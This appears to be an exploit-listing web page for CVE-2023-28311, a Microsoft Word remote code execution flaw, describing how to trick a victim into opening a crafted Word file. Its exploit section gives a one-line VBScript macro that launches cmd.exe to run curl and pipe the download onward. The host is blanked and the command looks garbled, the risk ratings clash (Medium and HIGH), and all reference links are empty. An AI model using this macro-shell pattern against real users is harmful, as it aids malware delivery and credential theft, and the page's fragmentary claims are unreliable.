Microsoft Word Remote Code Execution

Credit: nu11secur1ty
Risk: Medium
Local: No
Remote: Yes

## Title: Microsoft Word Remote Code Execution Vulnerability ## Author: nu11secur1ty ## Date: 04.14.2023 ## Vendor: ## Software: ## Reference: ## CVE-2023-28311 ## Description: The attack itself is carried out locally by a user with authentication to the targeted system. An attacker could exploit the vulnerability by convincing a victim, through social engineering, to download and open a specially crafted file from a website which could lead to a local attack on the victim's computer. The attacker can trick the victim to open a malicious web page by using a `Word` malicious file and he can steal credentials, bank accounts information, sniffing and tracking all the traffic of the victim without stopping - it depends on the scenario and etc. STATUS: HIGH Vulnerability [+]Exploit: The exploit server must be BROADCASTING at the moment when the victim hit the button of the exploit! ```vbs Call Shell("cmd.exe /S /c" & "curl -s | tarator", vbNormalFocus) ``` ## Reproduce: [href]( ## Reference: [href]( [href]( ## Proof and Exploit [href]( ## Time spend: 01:00:00

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023,


Back to Top